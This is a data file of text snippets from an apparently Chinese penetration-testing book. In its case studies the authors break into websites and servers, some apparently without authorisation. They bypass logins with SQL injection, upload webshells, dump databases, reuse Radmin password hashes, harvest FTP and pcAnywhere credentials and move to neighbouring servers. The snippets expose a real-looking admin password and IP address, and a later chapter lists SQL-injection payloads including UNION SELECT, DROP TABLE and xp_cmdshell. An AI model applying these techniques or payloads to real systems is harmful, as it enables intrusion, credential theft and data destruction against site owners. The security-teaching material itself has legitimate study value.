    {"text": "（2）如果网站采用的是PHP等脚本，则可以将正常访问页面的名称进行大小写变换。 例如，首页一般都是index.php，如果InDex.Php能正常访问，说明是Windows服务器，否则为Linux类服务器（Linux服务器对文件名称大小写敏感）。"},
    {"text": "如图4-89 所示，成功连接一句话木马服务端。 图4-89 使用一句话后门客户端进行连接 03 获取服务器的基本信息 通过一句话木马的各个功能模块获取服务器的基本信息。"},
    {"text": "如图4-90所示，获取服务器的真实路径、IP地址等信息，这些信息在上传大的WebShell时特别有用。 图4-90 获取服务器的相关情况 04 上传大的WebShell 一句话木马虽然也比较好用，但功能有所限制，因此在获得服务器基本信息的情况下，可以考虑上传功能更强大的WebShell到服务器。 可以尝试上传JSP、PHP、ASP.NET、PL等木马，测试服务器是否支持这些脚本。"},
    {"text": "4.9 绕过密码获取某站点WebShell 如果想在一个站点检测某工具的使用效果，常用的方法是通过WebCruiserEnt扫描注入点后，找到注入点后，通过Havij和WebCruiserEnt等工具进行SQL注入点探测，无奈速度实在太慢，因此不得不想其他方法。 对于国外站点，通过密码绕过验证的成功率比较高，下面是具体的渗透过程。 4.9.1 漏洞扫描及利用 01 获取SQL注入点 运行WebCruiserEnt，在“URL”文本框中输入想要检测的网站地址，然后单击“Scanner”按钮，选择“Scan Current Site”选项，如图4-94所示，很快就检测出多个漏洞。"},
    {"text": "图4-94 使用WebCruiserEnt扫描网站漏洞 02 进行SQL注入基本操作 选中存在SQL注入的地址，右键单击，在弹出的快捷菜单中选择SQL注入expolit，在环境探测中选择“Get Environment Information”选项，获取数据库版本信息、服务器信息、操作系统信息、用户信息、数据库信息，以及有关密码的一些相关信息，如图4-95所示。 图4-95 获取被渗透对象的环境信息 03 数据库数据猜测 获取环境信息后，再次单击“Database”按钮，进入数据库猜测界面。 如图4-96所示，单击“DataBase”选项即可开始探测数据库信息。 在获取数据库名称后，依次进行数据库表、表列名的猜测，最后选择“Data”选项进行猜测，以获取数据信息。 这些操作与Domain 3.5等SQL注入工具的操作类似，在此就不赘述了。 图4-96 数据库数据猜测 04 使用Havij进行SQL注入猜测 因为使用WebCruiserEnt进行SQL注入猜测的速度实在太慢，所以，改用Havij进行SQL注入猜测。"},
    {"text": "在“Path to search”文本框中输入本次渗透的目标地址“http://xxxxxxxxxx.com”，单击“Start”按钮开始扫描，如图4-98所示，Havij会给出扫描到的目录和页面信息。"},
    {"text": "在知道某些CMS系统的数据库结构后，可以手工丰富该数据库的表名和表列名，否则即使存在SQL注入点，也可能无法获取表名或者表列名，这一点与wwwscan扫描网站目录和文件比较类似，字典收集得越全，扫描结果就越详细。"},
    {"text": "4.9.2 尝试密码绕过验证登录 单击“Find Admin”按钮，进入管理入口扫描模块，在扫描结果中双击疑似管理入口登录地址“http://www．*************.com/administrator/login.php”进行登录。 如图4-100所示，成功打开该页面，在“USER ID”文本框中输入“' or''='”，在“PASSWORD”文本框中输入任意内容，单击“Log In”按钮进行登录尝试。"},
    {"text": "图4-100 尝试密码绕过验证登录 图4-101 成功登录后台 4.9.3 获取WebShell 成功进入后台管理页面后，通过浏览和查看功能模块发现可以直接上传文件。 如图4-102所示，尝试上传一个PHP的WebShell，顺利上传，返回信息管理员页面直接获取WebShell地址。 通过“中国菜刀”直接连接一句话木马后门，如图4-103所示，成功获取WebShell。 图4-102 上传WebShell 图4-103 获取WebShell 4.9.4 获取管理员密码 在后台管理页面中，单击“User”选项获取所有用户列表，如图4-104所示，该页面提供了搜索功能。"},
    {"text": "输入“admin”进行搜索，如图4-105所示，成功找到管理员的记录。 图4-104 查看该网站的所有用户 图4-105 查找管理员记录 单击“Manger”列中的编辑按钮，进入用户资料编辑页面，如图4-106所示，成功获取管理员密码“draN6H2w-D”。"},
    {"text": "图4-106 获取管理员密码 4.9.5 下载数据库和源程序 抱着研究的态度，上传一个功能强大的WebShell，如图4-107所示，将数据库导出打包，同时通过反弹端口访问具有独立IP地址的监听端口，通过反弹的Shell进行tar等操作，将程序等文件打包并下载。"},
    {"text": "在获取WebShell后，可以打包下载数据库，下载源程序，寻找网站中的后门，将用户密码和用户名收入字典库中，将网站的目录、后台地址、后台文件名称和脚本文件名称等添加到扫描字典中。"},
    {"text": "4.10 利用eWebEditor漏洞渗透某服务器 本次渗透涉及信息收集、漏洞挖掘、口令扫描、端口扫描、Radmin口令获取、FTP密码获取、MD5密码破解等内容，通过eWebEditor上传漏洞获取WebShell，再通过WebShell进行提权，最终获得了服务器权限。 4.10.1 漏洞挖掘 01 获取初步信息 打开网站，看看网站能否访问，如图4-108所示。"},
    {"text": "图4-108 查看网站基本情况 说明 由于需要测试的是一个IP地址，因此需要先看看该地址是否在默认的80端口开放了Web服务，再看看使用的是什么语言。"},
    {"text": "02 查看端口开放情况 使用“sfind-p 222.134.217.206”命令查看该服务器的端口开放情况，如图4-109所示，计算机开放了21、80及4899端口。 图4-109 查看端口开放情况 03 查看系统功能 通过网站的导航条查看网站系统是自己开发的还是直接从网上搬来的。"},
    {"text": "从论坛会员人数不多的情况判断，管理员应该不会经常对论坛进行管理，很多设置都是默认的，因此，可以测试数据库是否采用了默认设置，即是否能够直接下载。 直接在网址后面添加“data/dvbbs8.mdb”，也就是Dvbbs 8.2的默认地址，提示可以下载，如图4-111所示。 图4-111 下载Dvbbs 8.2的默认数据库 ②获取管理员密码。"},
    {"text": "查看Dv_Admin表，如图4-112所示，发现管理员还具有一定的安全意识，将默认的“admin”修改为“曹老师”，将MD5加密值“8a10**8c0f7c****”复制到“记事本”程序中，然后查看Dv_user表中的管理员“曹老师”所对应的MD5值——两个值是相同的！ 图4-112 获取管理员的MD5值 ③破解MD5加密值。 现在已经知道前台和后台管理员的MD5值是相同的，所以要破解MD5值。 将MD5加密值拿到cmd5上破解，提示没有找到结果，如图4-113所示。"},
    {"text": "图4-113 MD5加密值查找未果 05 再次进行SQL注入检测 拿到了Dvbbs数据库的用户密码加密值，在cmd5网站查不到结果，估计使用MD5Cracker破解也需要很长时间，看来需要换一种思路。 回到网站首页，用“啊D注入工具”扫描注入点，结果找到了一个注入点，获得用户名“admin”、密码“6bfb281ef3d9********4b9f202ecd2f”，如图4-114所示。 图4-114 使用“啊D注入工具”获取管理员密码 可是，将该MD5值拿到www.cmd5.com网站查询，结果提示需要购买，如图4-115所示。 用“啊D注入工具”扫描后台，也没有找到有用信息，所以即使破解了密码也无办法登录后台。"},
    {"text": "图4-115 查到结果却需要购买 06 查询旁注 访问http://www.myipneighbors.com/，查询该网站，结果表明该网站属于独立服务器，那么旁注也不好用了。"},
    {"text": "图4-116 查询该IP地址的域名情况 07 再次分析网站结构 以上只是对整个网站进行了大体分析，这也是测试时必须完成的工作。 根据自己的经验对网站的结构做大体的了解，等到我们的前期工作做完，对测试就有了更大的把握。"},
    {"text": "图4-117 扫描网站目录和文件 4.10.2 获取WebShell upfile.asp看起来是一个上传文件，用Domain的综合上传功能试了一下，文件传不上去，而且通过conn.asp也爆不了库。"},
    {"text": "在网址后加上“eWebEditor/admin_ login.asp”并提交，醒目的红色登录界面就出现了，如图4-118所示。 图4-118 使用eWebEditor管理器编辑登录 直接输入默认的用户名“admin”、密码“admin”，成功登录后台，如图4-119所示。"},
    {"text": "图4-119 登录eWebEditor管理器后台 4.10.3 提升权限 01 获取WebShell权限 关于如何使用eWebEditor拿Shell的方法，这里就不多说了，请读者自行尝试。"},
    {"text": "Windows 2003的IUSER用户是不能访问“c: \\windows\\system32\\cmd.exe”的，解决方法很简单：把经过压缩处理的cmd.exe传到服务器上就行了，这样DOS命令就能成功执行了。"},
    {"text": "玩过Radmin的老鸟可能都知道，旧版本的Radmin在安装的时候是把密码写入注册表的，具体位置在HKEY_LOCAL_ MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\Parameter这个键值下。"},
    {"text": "图4-121 获取Radmin口令加密值 不过，大马读取出来的都是转成十进制的数据，我们还需要再将其转换成十六进制的数据，太麻烦了。 使用Radmin注册表读取工具，就可以直接读取Radmin 32位的MD5密码散列了，而且还能读取Radmin日志文件存储的位置。"},
    {"text": "不过不用担心，这里我们使用修改过的、可以利用MD5散列直接登录4899肉机的工具连接一下，把32位的MD5值填进去，就成功登录了，并得到了“***.***.217.206”这台服务器的所有的权限。"},
    {"text": "4.10.4 内网渗透 01 获取管理员FTP密码 通过Radmin_Hash工具完全控制该服务器后，通过查看发现该服务器所在网络中还有3台服务器，可以尝试进行内网渗透。"},
    {"text": "使用Radmin文件管理功能，经过一番查找，终于在D盘找到了UltraFXP这个FTP工具，此工具和FlashFTP非常相似，功能也非常强大，不过也存在这暴露FTP用户信息的漏洞。 把服务器上的UltraFXP安装文件全部下载到本地，然后直接运行UltraFxp.exe程序，就可以打开FTP管理器的主界面了。 在“站点管理器”这个的位置能够找到管理员用UltraFXP连接过的所有站点的信息了。"},
    {"text": "如图4-123所示，206服务器的FTP用户密码“silvery * * *”是用精锐星号密码破解器读取的。 图4-123 获取FTP用户的密码 02 获取远程终端端口 206服务器上的FTP密码，其中用户名是“administrator”，我想玩过社工的朋友一定想到了，服务器登录的密码可能也是“administrator”。"},
    {"text": "在站点管理器中还发现了其他FTP站点的连接账户和密码，分别是“***.***.217.204”、“***.***.217.205”，看起来，这位管理员管理的网站不少。"},
    {"text": "再次使用sfind命令扫描一下这个网段的4899端口，如图4-126所示，结果也表明这3台服务器有Radmin的，看起来管理员是用Radmin远程管理服务器的。 图4-126 使用sfind命令扫描附近计算机Radmin端口的开放情况 把用radmin.asp读取的MD5值分别用Radmin_Hash登录“***.***.217.204”、“***.***.217.205”，成功登录了“***.***.217.205”这台计算机，可是“***.***.217.204”却无法登录，使用从UltraFXP中得到的用户名和密码都试了一遍，也不成功。 不知道管理员为什么对204这台计算机单独设置密码，如图4-127所示，连上Radmin。 用Mstsc连接一下204计算机的3372和3389端口，也都不能连接，只能放弃。"},
    {"text": "图4-127 使用Radmin_Hash工具控制相邻服务器 05 再次验证密码 通过前面的安全检测可以知道，管理员在多个管理工具中使用的均是相同的密码。"},
    {"text": "图4-128 dv_admin中管理员密码的Hash值 4.10.5 安全加固 01 使用JSky对网站进行全面扫描 使用zwell的JSky工具对该网站进行全面的漏洞扫描，如果4-129所示，发现2个SQL注入点，1个跨站漏洞，因此高危漏洞为3个。"},
    {"text": "图4-129 使用JSky安全扫描工具对网站进行全面安全检测 02 修复程序漏洞 到该服务器上找到news.asp及photo.asp程序，在其中对获取的参数id进行过滤，发现仅允许使用数字，其他字符均禁止使用，修改后如图4-130所示。 图4-130 修复程序中的漏洞 03 修改数据库默认路径以及名称 到Dvbbs BBS目录下修改与数据库连接文件conn.asp有关的数据库路径及数据库名称，如图4-131所示，使其难以被猜测和下载。"},
    {"text": "图4-131 修改数据库默认名称和路径 04 修改数据库密码 打开数据库，将默认的密码修改为一个更加难以破解的密码，在本例中设置了一个经过30位加密的MD5密码，破解起来非常困难。"},
    {"text": "如图4-132和图4-133所示，将经过MD5处理的字符串填入UserPassword列中，对其他表中涉及后台管理的用户均进行相应处理，使入侵者难以破解密码。"},
    {"text": "图4-132 修改数据库密码为一个强健的新密码 图4-133 修改Blog中的管理员密码 05 清除网站文件中的木马和挂马代码 在网站中找到网页木马并将其删除，如图4-134所示，如果存在挂马代码，一并将其清除。 图4-134 清除网页木马和挂马代码 06 提醒管理员更改密码并进行相应的安全处理 将已经修复的漏洞告诉管理员，将修改的密码放在管理员桌面的漏洞提醒文件中进行友情提醒，最后关闭远程终端，结束本次的安全检测与加固。"},
    {"text": "4.11 对某网站的一次渗透 本次渗透源于通过Google获取了某网站的一个WebShell，由于没有该WebShell的密码，因此需要自己获取。 本次渗透通过SQL注入获取管理员密码，通过后台上传任意文件获取WebShell，在Web渗透中具有一定的代表性。 4.11.1 信息获取 通过前面介绍的一些方法，已经知道该网站被入侵后还留了一个ASP.NET的后门WebShell，由于没有该WebShell的密码，因此需要通过其他途径获取。"},
    {"text": "01 查询该域名主机下有无其他域名主机 打开ip866.com网站，如图4-135所示，在输入框中输入网站地址“www. * * * *.com”，然后单击“点这里反查全部相关域名”按钮，获取该域名主机下的所有绑定域名，有40多个。 图4-135 获取主机绑定域名信息 02 获取IP地址及端口开放情况 分别使用“ping www.********.com”及“sfind-p 219.133.***.***”命令获取端口信息等，如图4-136所示，使用ping命令无反应，主机开放了80、21及1433端口。"},
    {"text": "图4-136 获取端口开放等信息 4.11.2 检测漏洞 01 使用工具进行漏洞挖掘 打开JSky，在其中新建立一个任务，然后进行扫描，如图4-137所示，发现SQL注入点8个，跨站漏洞1个。 图4-137 使用JSky扫描网站漏洞 02 进行注入猜解 在如图4-137所示的界面中选中一个SQL注入点，然后使用Pangolin进行渗透测试。"},
    {"text": "图4-138 猜解表 说明 在Pangolin中需要自己进行一些设置，可以设置文字显示模式，有时需要手工设置SQL注入点的类型（Type）及数据库信息等。 03 猜解管理员表admin中的数据 选择admin表中的id、admin_id、admin_name、admin_pass这4个字段，然后单击Pangolin主界面右侧的“Datas”按钮猜解数据，如图4-139所示，下方区域显示整个表中共有2条记录，右边区域显示猜解的结果。"},
    {"text": "图4-139 获取管理员用户名称和密码 04 获取后台地址 在JSky扫描中发现存在admin目录，所以直接在浏览器中输入“http://www.*********.com/admin/”，打开后台登录地址。"},
    {"text": "图4-140 获取管理后台登录地址 05 进入管理后台 在如图4-140所示的界面中分别输入管理员用户名和密码“1”，单击“管理员登录”按钮，成功进入管理后台。 如图4-141所示，在后台中主要有“首页／管理中心/退出”、“用户管理”、“添加信息”和“系统信息”4个主要管理模块。 图4-141 成功进入管理后台 06 寻找上传点 在该网站系统中，新闻动态、友情链接等添加信息接口处均存在文件上传模块，且未对文件进行过滤，如图4-142所示，可以上传任何类型的文件，在本次测试中就直接将aspxspy.aspx文件上传。 图4-142 可上传任何类型的文件 07 寻找上传的WebShell地址 通过添加友情链接功能将WebShell文件上传，访问网站，找到友情链接网页，然后直接查看源代码，如图4-143所示，获取WebShell的地址。 图4-143 获取WebShell的真实地址 08 执行WebShell成功 在网站中输入WebShell的地址“http://www.xiaobang.com/ads/20081229233452.aspx”，然后输入管理密码，如图4-144所示，WebShell可以正常运行，单击“Sysinfo”按钮可查看系统信息。 图4-144 执行WebShell成功 注意 由于前面已经有人上传了ASPX的WebShell，加上检测时上传了多个ASPX的WebShell，因此，图4-144中有些地址可能不完全匹配。 4.11.3 提权之路 01 获取数据库配置文件信息 有了WebShell后，获取数据库的配置信息就相对简单了。 到网站目录中寻找inc、conn.asp、config.asp文件等，查看其源代码即可获取数据库的物理地址或者配置信息，如图4-145所示。 AspxSpy有一个功能特别好用，就是IISSpy，使用它可获取该主机下所有的站点目录等信息。 图4-145 查看数据库连接文件conn.asp 02 下载网站数据库 如图4-146所示，找到数据库的物理路径即可进行下载。"},
    {"text": "如图4-147所示，可以看到系统已经对数据库采取了一些安全措施，如设置了一个比较难以猜测的名称，但当我们获取WebShell后，再复杂的名称也是无用了。"},
    {"text": "图4-146 下载数据库 图4-147 执行基本命令 03 执行命令 在AspxSpy中命令执行不太好用，换一个功能更强大的ASPX类型的木马，可以通过执行“net user”、“net localgroup administrators”、“ipconfig/all”、“netstat-an”等命令查看用户、管理员组、网络配置、网络连接情况等信息，但不能执行添加用户等提升权限操作，一执行就会报错，如图4-148所示。 图4-148 执行报错命令 04 读取注册表信息 通过分析，发现该服务器安装了Radmin软件，且管理员修改了Radmin的默认管理端口4899，如果能够获取Radmin的口令加密值，也可以直接提升权限。 单击“Regshell”按钮，在“KEY”文本框中输入Radmin 2.x的口令值保存键值“HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\ Parameters”，然后单击“Read”按钮读取，如图4-149所示，结果未能成功读取。 使用其他WebShell的注册表读取，还是未成功，说明权限不够。 图4-149 读取Radmin 2.x的口令值失败 05 使用ASP的WebShell提升权限 在有些情况下，ASPX的WebShell不好用，但ASP的WebShell执行效果比较好。"},
    {"text": "如图4-150所示，上传一个ASP的WebShell，然后分别查看Serv-U和pcAnywhere，系统使用了pcAnywhere进行远程管理，将其配置文件CIF下载到本地。 图4-150 获取pcAnywhere的配置文件 06 获取pcAnywhere的密码 图4-151 破解pcAnywhere远程管理密码 使用Symantec pcAnywhere Password Crack直接破解刚才获取的CIF配置文件，如图4-151所示，顺利读出pcAnywhere远程连接的用户名和密码。 安装Symantec pcAnywhere，通过它来连接该服务器，连接成功后需要用户名和密码才能进行完全控制。 4.11.4 总结与体会 在本次安全检测中，发现了漏洞，成功获取了WebShell，且在一定情况下还可以完全控制该服务器（待管理员进入系统，尚未锁定屏幕的过程中，可以通过pcAnywhere实施远程控制）。"},
    {"text": "1．在网络安全攻防实战过程中丰富了安全渗透和检测实践经验 通过本次检测，熟悉了AspxSpy这个功能强大的ASP.NET的WebShell，该WebShell最大的优点是在获取某一个WebShell后可以通过它来下载其他绑定域名站点的数据库。 2．加深对站点安全防护的认识 在本次检测中，可以明显感觉到该主机系统进行了一些安全防护，除了pcAnywhere程序权限设置不严格外，其他部分的权限设置的安全性尚可。"},
    {"text": "4.12 通过修改后台系统设置获取WebShell iwms是国内最早的ASP.NET新闻系统之一，主要功能有网页自动采集、防采集、静态生成、图片／文件防盗链、图片／脚本gzip压缩、内置讨论区／广告投放功能、会员付款阅读内容。 选择该系统进行讲解的主要目的是为了说明某些CMS系统在获取后台管理员权限后，可以通过修改配置文件允许直接上传WebShell文件，直接获取WebShell权限。"},
    {"text": "4.12.1 修改上传设置 iwms 4.6未对文件的上传类型进行限制，用户可以自定义上传类型。 在系统设置中添加可上传文件类型ASPX和ASP，如图4-152所示。 图4-152 修改上传设置 4.12.2 获取WebShell 01 测试上传 依次单击“新闻管理”→“添加新闻”选项，在“添加新闻”页面添加媒体，如图4-153所示，系统会自动显示与上传相关的功能。 由于在上传文件类型中已经增加了ASPX和ASP文件，所以可以直接上传ASPX和ASP的网页木马。 如图4-154所示，单击“浏览”按钮，选择一个ASPX的网页木马上传。 图4-153 添加新闻 图4-154 上传网页木马 02 获取上传文件名称和路径 如果木马顺利上传，系统会自动给出具体路径。"},
    {"text": "依次单击“系统管理”→“上传管理”选项，然后选择目录“upload”，设置时间为“2011_07”，系统会自动显示“upload/2011_07”目录下的所有附件文件，单击文件名即可直接访问，如图4-156所示。"},
    {"text": "但是由于程序员的水平及经验参差不齐，相当多的程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。"},
    {"text": "随着信息安全技术的发展，人们的安全意识不断提高，过去通过一个远程溢出漏洞就拿下服务器权限的几率非常低。 在Web渗透中，SQL注入技术可以说是主流技术，通过SQL注入获取管理员密码，然后进入后台进行提权，获得WebShell权限后，再进一步对服务器进行提权。 本章通过详细的案例图解介绍如何利用目前一些主流的SQL注入技术对Web服务器进行渗透，每一个案例都有一种思路，一个技术要点。 虽然案例是死的，但人是活，将本章提到的一些技术运用到Web渗透中，会起到事半功倍的效果。 本章主要内容 SQL注入漏洞 Access注入获取WebShell DedeCMS全版本SQL注入漏洞利用代码及工具 对某网站的一次安全检测 通过sa权限注入获取服务器权限 通过SQL注入获取某Linux服务器权限 Discuz! 7.2 faq.php文件SQL注入漏洞分析及利用实战 实战UC_Key获取Discuz! x2.5论坛WebShell 对某虚拟主机的一次安全渗透 5.1 SQL注入漏洞 我们从概念上了解一下SQL注入漏洞。"},
    {"text": "攻击者可以通过互联网的输入区域，利用某些特殊构造的SQL语言插入“SQL meta- characters”（特殊字符空格代表一些数据）和指令，操纵执行后端的SQL查询，并获得本不为用户所知数据的技术，这就是SQL Injection Attack（SQL注入攻击）。"},
    {"text": "SQL注入从正常的WWW端口对页面请求访问，而且看起来跟一般的Web页面访问没有区别，所以，目前市面上的防火墙都不会对SQL注入发出警报，如果管理员没有查看IIS日志的习惯，可能被入侵很长时间都不会发觉。"},
    {"text": "从攻击者的角度看，使用SQL注入能够避开绝大多数防火墙，不留攻击痕迹，攻击手法多种多样，因此才会导致SQL注入攻击手段的兴起。 5.1.3 SQL注入的原理、分类及攻击步骤 SQL是一种用于关系数据库的结构化查询语言，分为许多种，但大多数都松散地基于美国国家标准化组织最新的标准SQL-92. SQL的典型执行语句是query，能够收集比较有达标性的记录并返回一个单一的结果集。"},
    {"text": "当一个攻击者能够通过向query语句中插入一系列SQL操作数据的方法将攻击代码写入应用程序中，这种方法就是SQL注入。 1．注入方式 SQL注入主要是通过构造特殊的SQL语句，使用POST或GET方式提交对目标网站的页面请求（Request），通过检索获得程序脚本的非正常反馈信息。 由于SQL注入攻击利用的是SQL语法，所以这种攻击具有广泛性。"},
    {"text": "总体来说，SQL注入方式大致可以分为两类，分别是GET方式和POST方式。 按照这两种注入方式，SQL注入又分多种注入手法，具体如下。 • 常规注入：SQL注入攻击本身就是一个常规性的攻击，它可以允许一些不法用户检索数据，改变服务器的设置，或者在管理员不小心的时候“黑”掉服务器。"},
    {"text": "• 跨站注入：攻击者利用程序对用户输入过滤及判断的不足，写入或插入可以显示在页面上的对其他用户造成影响的代码。 • 旁注：顾名思义，就是从旁注入，也就是利用主机上的一个虚拟站点进行渗透。 攻击者得到想要得到的一个重要关节的WebShell之后，再利用主机的开放程序及一些非安全设置进行的跨站式入侵。 这些都是网上比较流行的SQL注入的手法，与此相关的攻击手法还有盲注、搜索型注入等。"},
    {"text": "3．易损性测试（Testing For Vulnerability） （1）综合测试 彻底检测一个网络请求是否容易被SQL注入比一个可能的猜测（Might Guess）需要耗费更多的精力。"},
    {"text": "服务器上每一个脚本中的每一个参数都应该被检测，原因在于开发者和开发组织之间可能毫不相干，设计脚本A的程序员也许和脚本B的开发毫无关系，所以，其中一个也许对SQL注入免疫，而另外一个则可能不会。 事实上，设计脚本A里的函数A的程序员，也许和脚本A里的函数B的开发毫无关系，所以，脚本A里的某个参数也许对SQL注入是脆弱的，而另一个参数却不一定。 即使整个网络请求是由同一位程序员构想、设计、编写及测试的，在成千上万的脚本中的参数中，由于某种原因，如果这位程序员忘了检验某个地方的数据，仍有可能存在一个脆弱的参数，而且，那个地方是唯一的，永远都不能确定是其位置，所以，必须测试所有的程序。"},
    {"text": "当我们测试一个参数是否能被SQL注入的时候，如果忽略了其他参数，或者给了它们错误的值，网络请求就可能由于其他原因而出错，这阻碍了我们判断SQL注入是否可行。"},
    {"text": "ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste 它将返回一个ODBC错误，示例如下。 ContactName=Maria%20Anders&CompanyName='%20OR 如果我们这样检测： CompanyName=' 可能只会返回一个错误，告诉我们需要指定一个ContactName值。"},
    {"text": "然而，数据库错误信息不一定总是明显的（有时候编写程序的人可能会做一些奇怪的事情），所以，应该顺便看看每个可能的地方以确认注入是否成功。"},
    {"text": "在最近的一次Pen-Test中，笔者看到一个网络请求被SQL注入攻击后，返回了一个类错误信息页面，单击错误旁边的“停止”标志图片，链接到了另外一个满是SQL服务器错误信息的页面。"},
    {"text": "很多站点都有一个默认的500服务器内部错误页面来说明服务器正在维护中，或礼貌地让访问者把他们的请求通过电子邮件发送给站点的维护人员，这时就有可能通过Procedure Techniques来利用这些站点。"},
    {"text": "例如，一个简单的ASP程序允许用户输入一个顾客ID，然后检索公司全部人员的名字，如果顾客ID作为ASP页面请求串的一部分返回，那么开发人员可以编写下面的代码获得数据。"},
    {"text": "strConn = \"Provider=SQLOLEDB;Data Source=(local);\" & _ \"Database=Northwind;Integrated Security=SSPI\" Set cnn = Server．CreateObject(\"ADODB．Connection\") cnn．Open strConn strQuery = \"SELECT ContactName FROM Customers \" & _ “WHERE CustomerID = '\" & Request．Form(\"CustID\") & \"'\" Set rstResults = cnn．Execute(strQuery) Response．Write(rstResults．Fields(\"ContactName\")．Value) 如果用户知道一个顾客的ID，就可以通过检索获得公司全部人员的名字。"},
    {"text": "customer ID: 'UNION ALL SELECT ContactName FROM Customers WHERE CustomerID <>' 我们将会看到返回如下询问语句。 SELECT ContactName FROM Customers WHERE CustomerID = '' UNION ALL SELECT ContactName FROM Customers WHERE CustomerID <>'' 通过获得空和非空顾客的ID并集，这个查询语句会返回数据库中所有的相关姓名。"},
    {"text": "'UNION ALL SELECT FirstName + ' ' + LastName FROM Employees WHERE LastName <>' 它将SQL语句变成如下内容。 SELECT ContactName FROM Customers WHERE CustomerID = '' UNION ALL SELECT FirstName + ' ' + LastName FROM Employees WHERE LastName <>'' 这就是攻击程序从数据库中获得的第一个员工的名字。"},
    {"text": "';DROP TABLE Customers;- - SQL语句变成如下内容。 SELECT ContactName FROM Customers WHERE CustomerID = '' ; DROP TABLE Customers;- - ' 这个分号使语句和SQL Server隔离，所以，这里实际上是两个语句。"},
    {"text": "SQLQuery = \"SELECT Username FROM Users WHERE Username = '\" & strUsername & \"' AND Password = '\" & strPassword & \"'\" strAuthCheck = GetQueryResult(SQLQuery) If strAuthCheck = \"\" Then boolAuthenticated = False Else boolAuthenticated = True End If 当一个用户提交了用户名和密码后，查询（query）将搜索Users表单，看是否有一行中所包含的用户名和密码与用户提供的内容相同。"},
    {"text": "如果strUsername和strPassword变量可以包含任何我们想要的字符，我们可以修改当前的SQL查询结构，这样，即使不知道有效的用户名和密码，仍然何以得到一个有效的name值。"},
    {"text": "SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''='' 该请求并没有把用户提交的数据与现存的Users表单做比较，而是直接比较“AND”，显然，它总是返回“true”（“nothing”和“null”是有区别的）。"},
    {"text": "hippers WHERE 1 = 1 UNION ALL SELECT CompanyName FROM Customers WHERE 1 = 1 它返回的结果中包含了第一个查询和第二个查询的结果，“ALL SELECT”中的“ALL”是必须要有的，这样可以逃过SELECT DISTINCT语句的限制并且不会妨碍其他语句，所以最好使用它。"},
    {"text": "SELECT FirstName, LastName, Title FROM Employees WHERE City = '' UNION ALL SELECT OtherField FROM OtherTable WHERE ''='' 让我们看看会发生什么：数据库搜索Employees表，查找“City”被设置为“null”的那一行，由于找不到，所以不会返回任何记录，只有我们注入的查询能够返回记录。"},
    {"text": "（6）圆括号 如果有缺陷的查询语句中包含圆括号“(”（就像下面的例子中那样），或者返回的错误信息里显式提醒缺少了“(”（Oracle会这么做），那么应该在提交的SQL注入字符串中加入“(”。"},
    {"text": "SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = '') UNION SELECT OtherField From OtherTable WHERE (''='') （7）LIKE语句查询 另一个非常严重的问题是陷入一个LIKE子句的陷阱。"},
    {"text": "Name: ' + (SELECT TOP 1 FieldName FROM TableName) + ' Email: blah@blah.com Phone: 333- 333- 3333 使SQL的声明变为如下内容。 INSERT INTO TableName VALUES ('' + (SELECT TOP 1 FieldName FROM TableName) + '', 'blah@blah.com', '333- 333- 3333') 访问个人设置页面查看使用信息，第一个字段通常是用户名。"},
    {"text": "如果不在Subselect标签中使用“TOP 1”，将得到一个错误信息，表示该Subselect返回了太多记录，查看表中所有的行，使用与NOT IN()相同的方法可以得到单独的记录。"},
    {"text": "我们应该知道，存储过程注入不能通过存储过程的返回值来确定注入是否成功，而取决于想要实现的目标，这个目标不一定是得到数据，返回的数据可能有其他意义。"},
    {"text": "（2）xp_cmdshell xp_cmdshell {'command_string'} [, no_output] master.dbo.xp_cmdshell是存储过程的圣杯，它带来了一个问题，能够调用命令行的数据库用户的和他的运行权限，这个并不可用除非这个网页程序使用的数据库用户是sa，运行级别为6。"},
    {"text": "（3）调用对象 sp_makewebtask [@outputfile =] 'outputfile', [@query =] 'query' 另外一个好的调用对象是master.dbo.sp_makewebtask，如上面代码所描述，它是一个本地的输出文件和一个SQL Statement。 sp_makewebtask可以查询并建立一个包含输出的网页，可以像使用一个UNC路径名一样使用一个本地输出，意思是，这个输出文件可以放在任何一台连接在Internet上的计算机中，并有可写的SMB共享（SMB请求不需要任何身份验证）。"},
    {"text": "图5-1 HDIS 2．NBSI2 NBSI2是NB联盟出品的一款功能强大的针对ASP的注入分析工具，可以对目标网站进行注入扫描注入分析，附带的NBSIUpload程序还可以利用注入点上传指定程序。"},
    {"text": "图5-2 NBSI2 3．阿D注入工具 “阿D注入工具”是一个搜索能力极强的SQL注入工具，它的优势在于可以发现很多注入点，其界面如图5-3所示。"},
    {"text": "图5-3 阿D注入工具 4．Domain Domain是“黑客动画吧”的“明小子”的作品，它集合了脚本入侵中的大部分功能，包括旁注检测、综合上传、SQL注入检测、数据库管理等。"},
    {"text": "• 旁注检测功能：包括虚拟主机域名查询、二级域名查询、整站目录扫描（多线程）、网站批量扫描（多线程）、自动检测网站排名、自动读取\\修改Cookie、自动检测注入点。"},
    {"text": "• SQL注入检测功能：可批量对多个网站进行注入点扫描、SQL注入猜解（多线程检测，可猜解中文）、自动暴库、后台登录地址扫描（多线程）、检测设置专区。 • 数据库管理功能：包括新建数据库、浏览数据库、新建表及字段、压缩数据库、修改数据库密码、MD5加密、数据库密码破解、增加及删除记录等功能。"},
    {"text": "图5-4 旁注Web综合检测程序 5．WIS和WED WIS和WED是两个基于命令行的SQL注入工具，作者是小榕。 wis.exe是用来扫描某个站点中是否存在SQL注入漏洞的，wed.exe则是用来破解SQL注入的用户名和密码的。"},
    {"text": "扫描整个网站，找出存在SQL Injection的页面，示例如下。 C:\\>wis http://www．someaspsite.com/ Web Injection Scanner (Protype 0．4) by netXeyes, 2004．05．08 http://www.netXeyes.com security@vip．sina.com Scanning http://www．someaspsite.com/, Page: Unlimited Patient, Please．．．． (001 + 000) Checking: /shownews．asp?newsid=204 SQL Injection Found: /shownews．asp?newsid=204 Injection Page Final Result: ============================ /shownews．asp?newsid=204 C:\\> 扫描后台管理页面，示例如下。 C:\\>wis http://www．someaspsite.com/ ／A Web Injection Scanner (Protype 0．4) by netXeyes, 2004．05．08 http://www.netXeyes.com security@vip．sina.com Scanning http://www．someaspsite.com/, Page: Unlimited, Detect Access Page Patient, Please．．．． (004 + 005) Access Page: /www．asp (004 + 006) Access 